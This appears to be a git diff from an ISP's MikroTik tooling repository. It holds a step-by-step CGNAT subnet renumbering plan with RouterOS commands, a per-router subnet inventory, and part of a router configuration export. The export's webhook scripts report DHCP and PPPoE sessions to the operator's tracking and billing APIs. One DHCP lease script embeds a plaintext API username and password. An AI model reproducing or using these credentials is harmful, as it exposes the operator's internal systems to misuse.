|
||||||
|
| culleoka | 10.10.96.0/20 | 100.64.24.0/22 | 100.64.96.0/20 | 100.64.111.254 |
|
||||||
|
| newhope | 10.10.128.0/20 | 100.64.16.0/22 | 100.64.128.0/20 | 100.64.143.254 |
|
||||||
|
| core | 10.10.64.0/20 | 100.64.8.0/22 | 100.64.64.0/20 | 100.64.79.254 |
|
||||||
|
| lowry | 10.10.144.0/20 | 100.64.144.0/20 | (already aligned) | 100.64.159.254 |
|
||||||
|
| 982 | 10.10.48.0/20 | 100.64.48.0/20 | (already aligned) | 100.64.63.254 |
|
||||||
|
| 494 | 10.10.160.0/20 | 100.64.160.0/20 | (already aligned) | 100.64.175.254 |
|
||||||
|
|
||||||
|
\* Verona keeps its existing gateway because `100.64.3.254` is inside the
|
||||||
|
new /20; the change is just the netmask. Altoga sits on the verona
|
||||||
|
router (`ether6-switch` interface) and is treated as its own renumber.
|
||||||
|
|
||||||
|
## Access point IPs: no changes
|
||||||
|
|
||||||
|
APs live in the top /24 of each mgmt /20. Mgmt /20s are not moving, so
|
||||||
|
**no AP IPs change**. The existing values in `radios.yaml` stay correct.
|
||||||
|
|
||||||
|
## Why the order matters
|
||||||
|
|
||||||
|
Three /20s currently overlap with someone else's planned target:
|
||||||
|
|
||||||
|
- **`100.64.0.0/20`** (verona's target) currently also contains
|
||||||
|
climax's `100.64.4.0/22`, core's `100.64.8.0/22`, and altoga's
|
||||||
|
`100.64.12.0/22`. Climax, core, and altoga must all leave before
|
||||||
|
verona widens.
|
||||||
|
- **`100.64.16.0/20`** (climax's target) currently contains newhope's
|
||||||
|
`100.64.16.0/22`. Newhope must leave before climax claims it.
|
||||||
|
- **`100.64.96.0/20`** and **`100.64.128.0/20`** and **`100.64.64.0/20`**
|
||||||
|
and **`100.64.80.0/20`** are all empty today — those moves are clean.
|
||||||
|
|
||||||
|
That gives this order:
|
||||||
|
|
||||||
|
1. **culleoka** → `100.64.96.0/20` (clean)
|
||||||
|
2. **newhope** → `100.64.128.0/20` (clean; frees `100.64.16.0/20`)
|
||||||
|
3. **core** → `100.64.64.0/20` (clean; partly clears `100.64.0.0/20`)
|
||||||
|
4. **climax** → `100.64.16.0/20` (target free after step 2; clears more of `100.64.0.0/20`)
|
||||||
|
5. **altoga** → `100.64.80.0/20` (clean; clears the last subset of `100.64.0.0/20`)
|
||||||
|
6. **verona** widen `100.64.0.0/22` → `100.64.0.0/20` (no overlap left)
|
||||||
|
|
||||||
|
Steps 1–5 are independent in pairs; the only hard precedences are
|
||||||
|
2-before-4 and 3+4+5-before-6.
|
||||||
|
|
||||||
|
## The pattern (applies to every step except verona widening)
|
||||||
|
|
||||||
|
1. Add the new pool, address, and dhcp-server-network on the existing
|
||||||
|
interface.
|
||||||
|
2. Point the PPP profile at the new pool and update its `local-address`.
|
||||||
|
3. Disconnect existing PPPoE sessions (`/ppp active remove [find]`) so
|
||||||
|
they reconnect into the new range.
|
||||||
|
4. After confirming clients are on the new range, remove the old pool,
|
||||||
|
old `/ip address`, and old `/ip dhcp-server network`.
|
||||||
|
5. Audit the config for any lingering references to the old gateway IP
|
||||||
|
(hotspot profiles, scripts, firewall rules, NAT) and update them.
|
||||||
|
|
||||||
|
> Pool/profile/interface names below come from the actual `.rsc` exports.
|
||||||
|
> Substitute if your live config has drifted.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 1 — culleoka: 100.64.24.0/22 → 100.64.96.0/20
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
# add new ----------------------------------------------------
|
||||||
|
/ip pool add name=culleoka-cgnat-new ranges=100.64.96.1-100.64.111.253
|
||||||
|
/ip address add address=100.64.111.254/20 interface=ether2-netonix \
|
||||||
|
comment="cgnat /20 (renumber)"
|
||||||
|
/ip dhcp-server network add address=100.64.96.0/20 \
|
||||||
|
dns-server=204.110.191.240,204.110.191.20 domain=vntx.net \
|
||||||
|
gateway=100.64.111.254 ntp-server=204.110.191.19
|
||||||
|
|
||||||
|
# cut over ---------------------------------------------------
|
||||||
|
/ppp profile set [find name=pppoe] \
|
||||||
|
local-address=100.64.111.253 remote-address=culleoka-cgnat-new
|
||||||
|
/ppp active remove [find]
|
||||||
|
|
||||||
|
# verify, then clean up old ----------------------------------
|
||||||
|
/ip dhcp-server network remove [find address=100.64.24.0/22]
|
||||||
|
/ip address remove [find address=100.64.27.254/22]
|
||||||
|
/ip pool remove [find name=culleoka-cgnat]
|
||||||
|
/ip pool set [find name=culleoka-cgnat-new] name=culleoka-cgnat
|
||||||
|
```
|
||||||
|
|
||||||
|
## Step 2 — newhope: 100.64.16.0/22 → 100.64.128.0/20
|
||||||
|
|
||||||
|
newhope already has two pools (`cgnat` and `cgnat-full`); both must go.
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ip pool add name=newhope-cgnat-new ranges=100.64.128.1-100.64.143.253
|
||||||
|
/ip address add address=100.64.143.254/20 interface=sfp-sfpplus1-edgepoint \
|
||||||
|
comment="cgnat /20 (renumber)"
|
||||||
|
/ip dhcp-server network add address=100.64.128.0/20 \
|
||||||
|
dns-server=204.110.191.240,204.110.191.20 domain=vntx.net \
|
||||||
|
gateway=100.64.143.254 ntp-server=204.110.191.19
|
||||||
|
|
||||||
|
/ppp profile set [find name=newhope] \
|
||||||
|
local-address=100.64.143.253 remote-address=newhope-cgnat-new
|
||||||
|
/ppp active remove [find]
|
||||||
|
|
||||||
|
/ip dhcp-server network remove [find address=100.64.16.0/22]
|
||||||
|
/ip address remove [find address=100.64.19.254/22]
|
||||||
|
/ip pool remove [find name=cgnat]
|
||||||
|
/ip pool remove [find name=cgnat-full]
|
||||||
|
/ip pool set [find name=newhope-cgnat-new] name=newhope-cgnat
|
||||||
|
```
|
||||||
|
|
||||||
|
## Step 3 — core: 100.64.8.0/22 → 100.64.64.0/20
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ip pool add name=core-cgnat-new ranges=100.64.64.1-100.64.79.253
|
||||||
|
/ip address add address=100.64.79.254/20 interface=combo1-380 \
|
||||||
|
comment="cgnat /20 (renumber)"
|
||||||
|
/ip dhcp-server network add address=100.64.64.0/20 \
|
||||||
|
dns-server=204.110.191.240,204.110.191.20 domain=vntx.net \
|
||||||
|
gateway=100.64.79.254 ntp-server=204.110.191.19
|
||||||
|
|
||||||
|
/ppp profile set [find name=380] \
|
||||||
|
local-address=100.64.79.253 remote-address=core-cgnat-new
|
||||||
|
/ppp active remove [find]
|
||||||
|
|
||||||
|
/ip dhcp-server network remove [find address=100.64.8.0/22]
|
||||||
|
/ip address remove [find address=100.64.11.254/22]
|
||||||
|
# (core had no named cgnat pool in the export — confirm and remove if present)
|
||||||
|
/ip pool set [find name=core-cgnat-new] name=core-cgnat
|
||||||
|
```
|
||||||
|
|
||||||
|
## Step 4 — climax: 100.64.4.0/22 → 100.64.16.0/20
|
||||||
|
|
||||||
|
> This step depends on step 2 having completed.
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ip pool add name=climax-cgnat-new ranges=100.64.16.1-100.64.31.253
|
||||||
|
/ip address add address=100.64.31.254/20 interface=climax-bridge \
|
||||||
|
comment="cgnat /20 (renumber)"
|
||||||
|
/ip dhcp-server network add address=100.64.16.0/20 \
|
||||||
|
dns-server=204.110.191.240,204.110.191.20 domain=vntx.net \
|
||||||
|
gateway=100.64.31.254 ntp-server=204.110.191.19
|
||||||
|
|
||||||
|
/ppp profile set [find name=pppoe] \
|
||||||
|
local-address=100.64.31.253 remote-address=climax-cgnat-new
|
||||||
|
/ppp active remove [find]
|
||||||
|
|
||||||
|
/ip dhcp-server network remove [find address=100.64.4.0/22]
|
||||||
|
/ip address remove [find address=100.64.7.254/22]
|
||||||
|
/ip pool remove [find name=cgnat]
|
||||||
|
/ip pool set [find name=climax-cgnat-new] name=climax-cgnat
|
||||||
|
```
|
||||||
|
|
||||||
|
## Step 5 — altoga (on the verona router): 100.64.12.0/22 → 100.64.80.0/20
|
||||||
|
|
||||||
|
> Run this on the **verona** router, against the `ether6-switch` interface
|
||||||
|
> and the `pppoe-altoga` profile. Do **not** touch verona-cgnat in this
|
||||||
|
> step.
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ip pool add name=altoga-cgnat-new ranges=100.64.80.1-100.64.95.253
|
||||||
|
/ip address add address=100.64.95.254/20 interface=ether6-switch \
|
||||||
|
comment="altoga cgnat /20 (renumber)"
|
||||||
|
/ip dhcp-server network add address=100.64.80.0/20 \
|
||||||
|
dns-server=204.110.191.240,204.110.191.20 domain=vntx.net \
|
||||||
|
gateway=100.64.95.254 ntp-server=204.110.191.19
|
||||||
|
|
||||||
|
/ppp profile set [find name=pppoe-altoga] \
|
||||||
|
local-address=100.64.95.253 remote-address=altoga-cgnat-new
|
||||||
|
/ppp active remove [find name~"altoga"] # narrow to altoga sessions only
|
||||||
|
|
||||||
|
/ip dhcp-server network remove [find address=100.64.12.0/22]
|
||||||
|
/ip address remove [find address=100.64.15.254/22]
|
||||||
|
/ip pool remove [find name=altoga-cgnat]
|
||||||
|
/ip pool set [find name=altoga-cgnat-new] name=altoga-cgnat
|
||||||
|
```
|
||||||
|
|
||||||
|
## Step 6 — verona widen: 100.64.0.0/22 → 100.64.0.0/20
|
||||||
|
|
||||||
|
> All of steps 3, 4, 5 must be complete first. After this, verona is the
|
||||||
|
> sole occupant of `100.64.0.0/20` and the netmask widening is just a
|
||||||
|
> bookkeeping change — the existing gateway IP `100.64.3.254` stays.
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
# widen the pool first so new sessions can actually use the extra space
|
||||||
|
/ip pool set [find name=verona-cgnat] ranges=100.64.0.1-100.64.15.253
|
||||||
|
|
||||||
|
# widen the address (RouterOS won't change the mask in place; replace it)
|
||||||
|
/ip address remove [find address=100.64.3.254/22]
|
||||||
|
/ip address add address=100.64.3.254/20 interface=verona network=100.64.0.0 \
|
||||||
|
comment="cgnat /20 (widened from /22)"
|
||||||
|
|
||||||
|
# widen the dhcp-server network
|
||||||
|
/ip dhcp-server network remove [find address=100.64.0.0/22]
|
||||||
|
/ip dhcp-server network add address=100.64.0.0/20 \
|
||||||
|
dns-server=204.110.191.240,204.110.191.20 domain=vntx.net \
|
||||||
|
gateway=100.64.3.254 ntp-server=204.110.191.19
|
||||||
|
|
||||||
|
# (PPP profile pppoe-verona already references verona-cgnat — no change.)
|
||||||
|
# Cycle sessions if you want them on the wider range immediately:
|
||||||
|
/ppp active remove [find name~"verona"]
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Post-migration audit checklist
|
||||||
|
|
||||||
|
Run on every renumbered router:
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
# any stale /22 references?
|
||||||
|
:put [/ip address find where address~"/22"]
|
||||||
|
:put [/ip dhcp-server network find where address~"/22"]
|
||||||
|
# any references to old gateways in scripts / firewall / nat?
|
||||||
|
/log print where message~"100.64."
|
||||||
|
/ip firewall nat print where dst-address~"100.64." or src-address~"100.64."
|
||||||
|
/ip firewall filter print where dst-address~"100.64." or src-address~"100.64."
|
||||||
|
```
|
||||||
|
|
||||||
|
Also re-pull the exports and re-run `mikrotik-tool radios` so
|
||||||
|
`radios.yaml` and `subnets.yaml` reflect the new layout.
|
||||||
69
mikrotik-tool/subnets.yaml
Normal file
69
mikrotik-tool/subnets.yaml
Normal file
|
|
@ -0,0 +1,69 @@
|
||||||
|
# Per-router management (10.10.0.0/8) and CGNAT (100.64.0.0/10) subnets,
|
||||||
|
# extracted from the *.rsc exports in this directory.
|
||||||
|
#
|
||||||
|
# `mgmt` is the customer-facing /20 the router holds on its tower-side
|
||||||
|
# interface; the gateway is the router's IP within it. `cgnat` is the
|
||||||
|
# RFC 6598 range the router hands to PPPoE clients, with the router's
|
||||||
|
# gateway IP. A router can carry multiple of either when it serves a
|
||||||
|
# satellite tower (e.g., verona also serves altoga off the same router).
|
||||||
|
#
|
||||||
|
# Last refreshed: 2026-05-08.
|
||||||
|
|
||||||
|
routers:
|
||||||
|
verona:
|
||||||
|
host: 10.254.254.101
|
||||||
|
mgmt:
|
||||||
|
- { subnet: 10.10.0.0/20, gateway: 10.10.15.254 } # verona tower
|
||||||
|
- { subnet: 10.10.80.0/20, gateway: 10.10.95.254 } # altoga satellite
|
||||||
|
cgnat:
|
||||||
|
- { subnet: 100.64.0.0/22, gateway: 100.64.3.254 }
|
||||||
|
- { subnet: 100.64.12.0/22, gateway: 100.64.15.254 }
|
||||||
|
|
||||||
|
climax:
|
||||||
|
host: 10.254.254.102
|
||||||
|
mgmt:
|
||||||
|
- { subnet: 10.10.16.0/20, gateway: 10.10.31.254 }
|
||||||
|
cgnat:
|
||||||
|
- { subnet: 100.64.4.0/22, gateway: 100.64.7.254 }
|
||||||
|
|
||||||
|
culleoka:
|
||||||
|
host: 10.254.254.104
|
||||||
|
mgmt:
|
||||||
|
- { subnet: 10.10.96.0/20, gateway: 10.10.111.254 }
|
||||||
|
cgnat:
|
||||||
|
- { subnet: 100.64.24.0/22, gateway: 100.64.27.254 }
|
||||||
|
|
||||||
|
newhope:
|
||||||
|
host: 10.254.254.108
|
||||||
|
mgmt:
|
||||||
|
- { subnet: 10.10.128.0/20, gateway: 10.10.143.254 }
|
||||||
|
cgnat:
|
||||||
|
- { subnet: 100.64.16.0/22, gateway: 100.64.19.254 }
|
||||||
|
|
||||||
|
lowry:
|
||||||
|
host: 10.254.254.109
|
||||||
|
mgmt:
|
||||||
|
- { subnet: 10.10.144.0/20, gateway: 10.10.159.254 }
|
||||||
|
cgnat:
|
||||||
|
- { subnet: 100.64.144.0/20, gateway: 100.64.159.254 }
|
||||||
|
|
||||||
|
"982":
|
||||||
|
host: 10.254.254.110
|
||||||
|
mgmt:
|
||||||
|
- { subnet: 10.10.48.0/20, gateway: 10.10.63.254 }
|
||||||
|
cgnat:
|
||||||
|
- { subnet: 100.64.48.0/20, gateway: 100.64.63.254 }
|
||||||
|
|
||||||
|
"494":
|
||||||
|
host: 10.254.254.111
|
||||||
|
mgmt:
|
||||||
|
- { subnet: 10.10.160.0/20, gateway: 10.10.175.254 }
|
||||||
|
cgnat:
|
||||||
|
- { subnet: 100.64.160.0/20, gateway: 100.64.175.254 }
|
||||||
|
|
||||||
|
core:
|
||||||
|
host: 10.254.254.253
|
||||||
|
mgmt:
|
||||||
|
- { subnet: 10.10.64.0/20, gateway: 10.10.79.254 }
|
||||||
|
cgnat:
|
||||||
|
- { subnet: 100.64.8.0/22, gateway: 100.64.11.254 }
|
||||||
972
mikrotik-tool/verona.rsc
Normal file
972
mikrotik-tool/verona.rsc
Normal file
|
|
@ -0,0 +1,972 @@
|
||||||
|
# 2026-05-08 17:46:02 by RouterOS 7.21.4
|
||||||
|
# software id = Y1CT-1WB1
|
||||||
|
#
|
||||||
|
# model = CCR2004-16G-2S+
|
||||||
|
# serial number = HF109012G8D
|
||||||
|
/interface bridge
|
||||||
|
add fast-forward=no name=cpe_vlan_10 port-cost-mode=short
|
||||||
|
add fast-forward=no mtu=1500 name=public_vlan_100 port-cost-mode=short \
|
||||||
|
protocol-mode=none
|
||||||
|
add add-dhcp-option82=yes dhcp-snooping=yes mtu=1500 name=verona \
|
||||||
|
port-cost-mode=short protocol-mode=none
|
||||||
|
/interface ethernet
|
||||||
|
set [ find default-name=ether1 ] l2mtu=1500
|
||||||
|
set [ find default-name=ether2 ] l2mtu=1500
|
||||||
|
set [ find default-name=ether3 ] l2mtu=2024 name=ether3-climax-11ghz \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether4 ] l2mtu=9582 name=ether4-verona-tower
|
||||||
|
set [ find default-name=ether5 ] l2mtu=9582
|
||||||
|
set [ find default-name=ether6 ] l2mtu=9582 name=ether6-switch
|
||||||
|
set [ find default-name=ether7 ] l2mtu=9582
|
||||||
|
set [ find default-name=ether8 ] l2mtu=9582
|
||||||
|
set [ find default-name=ether9 ] l2mtu=9582
|
||||||
|
set [ find default-name=ether10 ] l2mtu=1500 name=ether10-powerswitch
|
||||||
|
set [ find default-name=ether11 ] l2mtu=9582
|
||||||
|
set [ find default-name=ether12 ] l2mtu=9582
|
||||||
|
set [ find default-name=ether13 ] l2mtu=9582
|
||||||
|
set [ find default-name=ether14 ] l2mtu=9582
|
||||||
|
set [ find default-name=ether15 ] l2mtu=9582 mtu=9000 name=ether15_wave_n
|
||||||
|
set [ find default-name=ether16 ] l2mtu=9582
|
||||||
|
set [ find default-name=sfp-sfpplus1 ] l2mtu=9586 name=\
|
||||||
|
sfp-sfpplus1-verona-tower-switch
|
||||||
|
set [ find default-name=sfp-sfpplus2 ] l2mtu=9586 name=sfp-sfpplus2-switch
|
||||||
|
/interface vlan
|
||||||
|
add interface=sfp-sfpplus1-verona-tower-switch name=vlan9_sfpplus1 vlan-id=9
|
||||||
|
add interface=ether15_wave_n name=vlan10_ether15 vlan-id=10
|
||||||
|
add interface=sfp-sfpplus2-switch name=vlan10_sfpplus2 vlan-id=10
|
||||||
|
add interface=verona name=vlan_10_ether6 vlan-id=10
|
||||||
|
add interface=ether6-switch name=vlan_19_ether6 vlan-id=19
|
||||||
|
/interface lte apn
|
||||||
|
set [ find default=yes ] ip-type=ipv4 use-network-apn=no
|
||||||
|
/interface wireless security-profiles
|
||||||
|
set [ find default=yes ] supplicant-identity=MikroTik
|
||||||
|
/ip hotspot profile
|
||||||
|
add dns-name=verona.tx.vntx.net hotspot-address=100.64.3.254 login-by="" \
|
||||||
|
name=hsprof1
|
||||||
|
/ip hotspot user profile
|
||||||
|
set [ find default=yes ] add-mac-cookie=no
|
||||||
|
/ip ipsec proposal
|
||||||
|
set [ find default=yes ] auth-algorithms=sha256 enc-algorithms=\
|
||||||
|
aes-256-cbc,aes-128-cbc pfs-group=modp2048
|
||||||
|
/ip pool
|
||||||
|
add name=verona-cpe ranges=10.10.0.1-10.10.14.254
|
||||||
|
add name=altoga-old ranges=10.100.80.1-10.100.94.254
|
||||||
|
add name=altoga-cpe ranges=10.10.80.1-10.10.94.254
|
||||||
|
add name=verona-cgnat ranges=100.64.0.1-100.64.3.249
|
||||||
|
add name=altoga-cgnat ranges=100.64.12.1-100.64.15.253
|
||||||
|
add name=verona-tower-pool ranges=10.0.101.1-10.0.101.249
|
||||||
|
/ip dhcp-server
|
||||||
|
add address-pool=altoga-cpe authoritative=after-2sec-delay disabled=yes \
|
||||||
|
interface=vlan_10_ether6 lease-script=":global username \"6aYoFE5Pw8ky1JyO\
|
||||||
|
\"\r\
|
||||||
|
\n:global password \"aZLnmeROsUYfUNGw\"\r\
|
||||||
|
\n:global url \"204.110.191.244\"\r\
|
||||||
|
\n:global mode \"http\"\r\
|
||||||
|
\n\r\
|
||||||
|
\n:if (\$leaseBound = 0) do={\r\
|
||||||
|
\n /tool fetch url=\"\$mode://\$url/api/dhcp_assignments\?ip_address=\$l\
|
||||||
|
easeActIP&leased_mac_address=\$leaseActMAC&expired=1\" mode=\$mode keep-re\
|
||||||
|
sult=no user=\$username password=\$password\r\
|
||||||
|
\n} else={\r\
|
||||||
|
\n { :delay 1 };\r\
|
||||||
|
\n :local remoteID\r\
|
||||||
|
\n :set remoteID [/ip dhcp-server lease get [find where address=\$leaseA\
|
||||||
|
ctIP] agent-remote-id]\r\
|
||||||
|
\n /tool fetch url=\"\$mode://\$url/api/dhcp_assignments\?ip_address=\$l\
|
||||||
|
easeActIP&leased_mac_address=\$leaseActMAC&remote_id=\$remoteID&expired=0\
|
||||||
|
\" mode=\$mode keep-result=no user=\$username password=\$password\r\
|
||||||
|
\n};" lease-time=1h name=altoga-cpe
|
||||||
|
add add-arp=yes address-pool=verona-tower-pool interface=\
|
||||||
|
sfp-sfpplus1-verona-tower-switch lease-time=1h name=verona-tower
|
||||||
|
add add-arp=yes address-pool=verona-cgnat interface=verona lease-script="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
|
||||||
|
c24944-c947-4e01-9c54-07a1653d2e3e\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n :if (\$leaseBound = 0) do {\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
|
||||||
|
t for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
|
||||||
|
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
|
||||||
|
or \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
|
||||||
|
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 1s;\
|
||||||
|
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
|
||||||
|
seActIP] agent-remote-id];\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
|
||||||
|
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
|
||||||
|
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
|
||||||
|
;\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
|
||||||
|
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
|
||||||
|
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 30s;\
|
||||||
|
\n }\
|
||||||
|
\n }\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" lease-time=1h name="verona cgnat" use-radius=accounting
|
||||||
|
/ip hotspot
|
||||||
|
add address-pool=verona-cgnat addresses-per-mac=unlimited interface=verona \
|
||||||
|
name=hotspot1 profile=hsprof1
|
||||||
|
/ip smb users
|
||||||
|
set [ find default=yes ] disabled=yes
|
||||||
|
/ppp profile
|
||||||
|
add change-tcp-mss=yes dhcpv6-pd-pool=verona-v6-pd-pool dns-server=\
|
||||||
|
204.110.191.240,204.110.191.250 idle-timeout=1h local-address=\
|
||||||
|
100.64.15.253 name=pppoe-verona on-down="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
|
||||||
|
\_for \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
|
||||||
|
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (AWS API)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
|
||||||
|
r \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
|
||||||
|
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" on-up="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 5\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
